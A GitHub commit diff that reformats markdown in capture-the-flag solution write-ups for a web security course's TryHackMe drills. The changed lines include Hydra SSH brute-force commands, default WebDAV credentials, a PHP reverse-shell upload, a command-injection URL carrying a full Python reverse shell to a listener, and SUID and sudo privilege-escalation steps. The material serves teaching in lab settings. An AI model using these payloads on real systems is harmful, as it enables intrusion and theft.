Skip to content

Commit cecf382

Browse files
author
David Bors
committed
10-end-to-end-chapter: fix linting errors
Fix linter errors from Superlinter. Signed-off-by: David Bors <borsdavid@proton.me>
1 parent b1b1feb commit cecf382

File tree

14 files changed

+334
-174
lines changed

14 files changed

+334
-174
lines changed

chapters/web-application-security/10-end-to-end/drills/bounty-hacker/sol/index.md

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,12 @@
1818

1919
![2](images/ftp_login.jpg?raw=true "Ftp_login")
2020

21-
+ **Listing the directory, we can observe two .txt files uploaded so let's get them**
21+
+ **Listing the directory, we can observe two `.txt` files uploaded so let's get them**
2222

2323
``mget *.txt``
2424

25-
+ **Reading the task.txt file, we can find out who wrote the task list, giving us the first task answer. We list the second txt file, named locks.txt, and we can see multiple strings which seems to be some passwords kept in the ftp server**
25+
+ **Reading the `task.txt` file, we can find out who wrote the task list, giving us the first task answer.**
26+
**We list the second txt file, named `locks.txt`, and we can see multiple strings which seems to be some passwords kept in the ftp server.**
2627

2728
```text
2829
rEddrAGON
@@ -39,9 +40,12 @@ R3dDRaG0Nsynd1c@T3
3940
...
4041
```
4142

42-
+ **Let's try to use this password file to connect on the ssh service, using simultaneously the user found in the previous task. The Hydra tool has a brute-force option to crack the login of the ssh service, so we can use it**
43+
+ **Let's try to use this password file to connect on the ssh service, using simultaneously the user found in the previous task.**
44+
**The Hydra tool has a brute-force option to crack the login of the ssh service, so we can use it**
4345

44-
``hydra -l lin -P locks.txt 10.10.229.13 -t 4 ssh``
46+
```console
47+
hydra -l lin -P locks.txt 10.10.229.13 -t 4 ssh
48+
```
4549

4650
+ **After we execute the brute-force process, Hydra give us the needed user password**
4751

chapters/web-application-security/10-end-to-end/drills/brooklyn-nine-nine/sol/index.md

Lines changed: 16 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -22,32 +22,42 @@
2222

2323
![2](images/ftp.jpg)
2424

25-
**We successfully connected and we can see a** note_to_jake.txt **file inside the ftp server. We can get that file and read it**
25+
**We successfully connected and we can see a** `note_to_jake.txt` **file inside the ftp server.**
26+
**We can get that file and read it**
2627

2728
``get note_to_jake.txt``
2829
![3](images/change_password.jpg)
2930

30-
+ **Looks that Jake need to change his password. Because jake is using a very weak password, maybe we can brute-force his login to some service. Let's use hydra to brute-force the ssh service - I'm using the rockyou.txt wordlist**
31+
+ **Looks that Jake need to change his password.**
32+
**Because jake is using a very weak password, maybe we can brute-force his login to some service.**
33+
**Let's use hydra to brute-force the ssh service - I'm using the `rockyou.txt` wordlist**
3134

32-
``hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.244.52 -t 4 ssh``
35+
```console
36+
hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.244.52 -t 4 ssh
37+
```
3338

3439
![4](images/hydra.jpg)
3540

3641
## User escalation
3742

38-
+ **So here we got some ssh credentials. Let's connect on the ssh service and run a** ``sudo -l`` **command on the jake user**
43+
+ **So here we got some ssh credentials.**
44+
**Let's connect on the ssh service and run a** ``sudo -l`` **command on the jake user**
3945

4046
![5](images/less.jpg)
4147

42-
**It looks like jake can run the less command with su privilege. Less is a command which can display content of a file and we can navigate both forward and backward through the file. Let's try to read the user flag.**
48+
**It looks like jake can run the less command with su privilege.**
49+
**Less is a command which can display content of a file and we can navigate both forward and backward through the file.**
50+
**Let's try to read the user flag.**
4351

4452
``sudo less /home/holt/user.txt``
4553

4654
[6](images/user_flag_1.jpg)
4755

4856
## Root escalation
4957

50-
+ **And here it is our first flag. We can also use less to get a privesc and get root access. Let's read a file with less**
58+
+ **And here it is our first flag.**
59+
**We can also use less to get a privesc and get root access.**
60+
**Let's read a file with less**
5161

5262
``less /etc/passwd``
5363

chapters/web-application-security/10-end-to-end/drills/dav/sol/index.md

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@
2222

2323
![dirb](images/nmap_dirb_scan2.jpg?raw=true "dirb")
2424

25-
**Navigating to the /webdav directory, the login page shows up. We need some credentials, and searching on google we can find some.**
25+
**Navigating to the /webdav directory, the login page shows up.**
26+
**We need some credentials, and searching on google we can find some.**
2627

2728
[login](images/login.png?raw=true "login")
2829

@@ -34,15 +35,20 @@
3435

3536
[webdav](images/webdav.jpg?raw=true "webdav")
3637

37-
+ **Reading the file, it seems to be some credentials with a hashed password. Trying to unhashed it, i realised it's nothing that we can do with it so i continued to read about WebDAV service. It has some similarities with the ftp, among with the cadaver: we can upload some files in that /webdav directory. Let's login with the cadaver, the WebDAV client, using the same default credentials**
38+
+ **Reading the file, it seems to be some credentials with a hashed password.**
39+
**Trying to unhashed it, i realised it's nothing that we can do with it so i continued to read about WebDAV service.**
40+
**It has some similarities with the ftp, among with the cadaver: we can upload some files in that /webdav directory.**
41+
**Let's login with the cadaver, the WebDAV client, using the same default credentials**
3842

3943
``cadaver http://10.10.62.166/webdav/``
4044

4145
``Username: wampp``
4246

4347
``Password: xampp``
4448

45-
+ **Now, let's try to upload a reverse php shell. I use the [pentestmonkey reverse shell](https://github.com/pentestmonkey/php-reverse-shell). Get it and modify the $ip parameter with your tryhackme tunneled ip and then upload it on our webdav directory**
49+
+ **Now, let's try to upload a reverse php shell.**
50+
**I use the [pentestmonkey reverse shell](https://github.com/pentestmonkey/php-reverse-shell).**
51+
**Get it and modify the $ip parameter with your tryhackme tunneled ip and then upload it on our webdav directory**
4652

4753
``put php-reverse-shell.php``
4854

@@ -60,9 +66,12 @@
6066

6167
## User escalation
6268

63-
**And we're in. Let's spawn an interactive shell and read our first flag, located inside the home directory of the merlin user.**
69+
**And we're in.**
70+
**Let's spawn an interactive shell and read our first flag, located inside the home directory of the merlin user.**
6471

65-
``python -c 'import pty;pty.spawn("/bin/bash")'``
72+
```console
73+
python -c 'import pty;pty.spawn("/bin/bash")'
74+
```
6675

6776
![in](images/usermer.jpg)
6877

chapters/web-application-security/10-end-to-end/drills/jack-of-all-trades/sol/index.md

Lines changed: 70 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -12,37 +12,45 @@
1212

1313
``nmap -sV -sC -oN scan1 10.10.252.248``
1414

15-
+ **We can see 2 open ports with some services: ssh and http. The first strange thing is that the services are opened on reversed ports. Ssh is opened on the 80 ports and http on the 22 one**
15+
+ **We can see 2 open ports with some services: ssh and http.**
16+
**The first strange thing is that the services are opened on reversed ports.**
17+
**Ssh is opened on the 80 ports and http on the 22 one**
1618

1719
![1](images/nmap_scan_jack.jpg?raw=true "Nmap_scan")
1820

19-
+ **Let's try to get to the http web-site on the 22 port. We see an browser error: seems like Firefox has canceled our request for kind of security. That's because the unusual use of 22 port for the http service**
21+
+ **Let's try to get to the http web-site on the 22 port.**
22+
**We see an browser error: seems like Firefox has canceled our request for kind of security.**
23+
**That's because the unusual use of 22 port for the http service**
2024

2125
![2](images/restrict.jpg?raw=true "restrict")
2226

23-
**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274). Go into the about:config page in the url, search for the ports and add the network.security.ports.banned.override string, with the 22 value**
27+
**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274).**
28+
**Go into the about:config page in the URL, search for the ports and add the `network.security.ports.banned.override` string, with the 22 value.**
2429

2530
![3](images/add_string.png?raw=true "add_string")
2631

2732
![4](images/welcome.png?raw=true "welcome")
2833

29-
**We can see our main page, with the box title and some images in there. Let's scan with gobuster too.**
34+
**We can see our main page, with the box title and some images in there.**
35+
**Let's scan with gobuster too.**
3036

3137
``gobuster dir -u http://10.10.252.248:22/ -w /usr/share/wordlists/dirb/common.txt``
3238

3339
![5](images/gobust.jpg?raw=true "gobust")
3440

35-
+ **Let's take a look into our gobuster output. Let's visit the assets page; we can see some *jpg* files, one of them called** stego.jpg **so we can think about an encrypted image with the help of steganography**
41+
+ **Let's take a look into our gobuster output.**
42+
**Let's visit the assets page; we can see some *jpg* files, one of them called** `stego.jpg` **so we can think about an encrypted image with the help of steganography**
3643

3744
![6](images/assets.jpg?raw=true "assets")
3845

3946
+ **We can try to extract the stego image to see de hidden data, so we're gonna use steghide**
4047

4148
``steghide --extract -sf stego.jpg``
4249

43-
**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page. Let's take a look into the source code of the page.**
50+
**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page.**
51+
**Let's take a look into the source code of the page.**
4452

45-
+ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the /recovery.php page and there's also a base64 encoded message**
53+
+ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the `/recovery.php` page and there's also a base64 encoded message**
4654

4755
![7](images/base64.jpg?raw=true "base64")
4856

@@ -52,49 +60,63 @@
5260

5361
![8](images/decrypt.jpg?raw=true "base64")
5462

55-
**We got a message and a password too! Let's use it to decrypt the image with steghide.**
63+
**We got a message and a password too!**
64+
**Let's use it to decrypt the image with steghide.**
5665

5766
![9](images/first_steg.jpg?raw=true "first_steg")
5867

59-
+ **A creds.txt file was hidden inside, but the stego.jpg wasn't the good path. Let's download the other images from the assets page and extract them**
68+
+ **A `creds.txt` file was hidden inside, but the `stego.jpg` wasn't the good path.**
69+
**Let's download the other images from the assets page and extract them**
6070

6171
![10](images/real_steg.jpg?raw=true "real_steg")
6272

6373
``steghide --extract -sf header.jpg``
6474

65-
**Bingo! We got a username and a password inside the header.jpg image. Let's go to the /recovery.php page and try to login with the credentials.**
75+
**Bingo!**
76+
**We got a username and a password inside the `header.jpg` image.**
77+
**Let's go to the `/recovery.php` page and try to login with the credentials.**
6678

6779
+ **Logging in with our credentials on the page, we are redirected to a page with the message:**
6880

6981
``GET me a 'cmd' and I'll run it for you Future-Jack.``
7082

7183
![11](images/login.jpg?raw=true "login")
7284

73-
**Now, let's try some system commands inside the url:**
85+
**Now, let's try some system commands inside the URL:**
7486

7587
``http://10.10.252.248:22/nnxhweOV/index.php?cmd=cat /etc/passwd``
7688

7789
![cmd](images/cmdworks.jpg?raw=true "cmd")
7890

79-
+ **It's all working, so go grab a reverse shell. I'm gonna use python and start listen with nc**
91+
+ **It's all working, so go grab a reverse shell.**
92+
**I'm gonna use python and start listen with nc**
8093

81-
``nc -lvnp 1234``
94+
```console
95+
nc -lvnp 1234
96+
```
8297

83-
``http://10.10.252.248:22/nnxhweOV/index.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'``
98+
```text
99+
http://10.10.252.248:22/nnxhweOV/index.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
100+
```
84101

85102
![12](images/access.jpg?raw=true "access")
86103

87104
## User escalation
88105

89-
**Here we got our access into the system. Let's spawn an interactive shell with python and continue to enumerate.**
106+
**Here we got our access into the system.**
107+
**Let's spawn an interactive shell with python and continue to enumerate.**
90108

91-
``python -c 'import pty; pty.spawn("/bin/bash")'``
109+
```console
110+
python -c 'import pty; pty.spawn("/bin/bash")'
111+
```
92112

93-
+ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user. According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool**
113+
+ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user.**
114+
**According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool**
94115

95116
![13](images/jackspassw.jpg?raw=true "jacks")
96117

97-
+ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine. Open a python server on the Jack box and we're gonna get the file on ours**
118+
+ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine.**
119+
**Open a python server on the Jack box and we're gonna get the file on ours**
98120

99121
**The Jack box:**
100122

@@ -104,44 +126,61 @@
104126

105127
**``{kali@kali:Jack of All Trades_0}$``** ``wget 10.10.252.248:6999/jacks_password_list``
106128

107-
+ **Now, having the wordlist, let's start the bruteforce phase. Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one**
129+
+ **Now, having the wordlist, let's start the bruteforce phase.**
130+
**Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one**
108131

109-
``hydra -s 80 -v -V -l jack -P jacks_password_list -t 8 10.10.252.248 ssh``
132+
```console
133+
hydra -s 80 -v -V -l jack -P jacks_password_list -t 8 10.10.252.248 ssh
134+
```
110135

111136
![13](images/hydra.jpg?raw=true "hydra")
112137

113138
**Let's connect into the ssh server with our credentials on the 80 port.**
114139

115-
``ssh jake@10.10.252.248 -p 80``
140+
```console
141+
ssh jake@10.10.252.248 -p 80
142+
```
116143

117-
+ **In the /home/jack directory we can see the user flag, but in the .jpg format. Let's get the image on our machine, using the same method as above, and then open it**
144+
+ **In the /home/jack directory we can see the user flag, but in the `.jpg` format.**
145+
**Let's get the image on our machine, using the same method as above, and then open it**
118146

119-
**``www-data@jack-of-all-trades:/home$``** ``python -m SimpleHTTPServer 6999``
147+
```console
148+
www-data@jack-of-all-trades:/home$ python -m SimpleHTTPServer 6999
149+
```
120150

121-
**``{kali@kali:Jack of All Trades_0}$``** ``wget 10.10.252.248:6999/user.jpg``
151+
```console
152+
{kali@kali:Jack of All Trades_0}$ wget 10.10.252.248:6999/user.jpg
153+
```
122154

123-
**Opening the user.jpg flag, we can see the Penguing recipe and the user flag.**
155+
**Opening the `user.jpg` flag, we can see the Penguing recipe and the user flag.**
124156

125157
![14](images/user.flag.jpg?raw=true "user")
126158

127159
## Root escalation
128160

129-
+ **Checking for ``sudo -l`` on the jack user gives us no good path. He has no sudo permission on the machine**
161+
+ **Checking for ``sudo -l`` on the jack user gives us no good path.**
162+
**He has no `sudo` permission on the machine**
130163

131164
``Sorry, user jack may not run sudo on jack-of-all-trades.``
132165

133166
**Let's check for some advanced linux file permissions - suid.**
134167

135-
``find / -type f -user root -perm -4000 -print 2>/dev/null``
168+
```console
169+
find / -type f -user root -perm -4000 -print 2>/dev/null
170+
```
136171

137-
+ **This gives us some interesting output. The strings executable has got file owner permission when executing a command**
172+
+ **This gives us some interesting output.**
173+
**The strings executable has got file owner permission when executing a command**
138174

139175
![15](images/suid.jpg?raw=true "suid")
140176

141-
**Knowing this, let's try to use strings on our root.txt flag.**
177+
**Knowing this, let's try to use strings on our `root.txt` flag.**
142178

143-
``strings /root/root.txt``
179+
```console
180+
strings /root/root.txt
181+
```
144182

145-
+ **And here's our root flag. This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions**
183+
+ **And here's our root flag.**
184+
**This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions**
146185

147186
![15](images/root_flag_jack.jpg?raw=true "suid")

0 commit comments

Comments
 (0)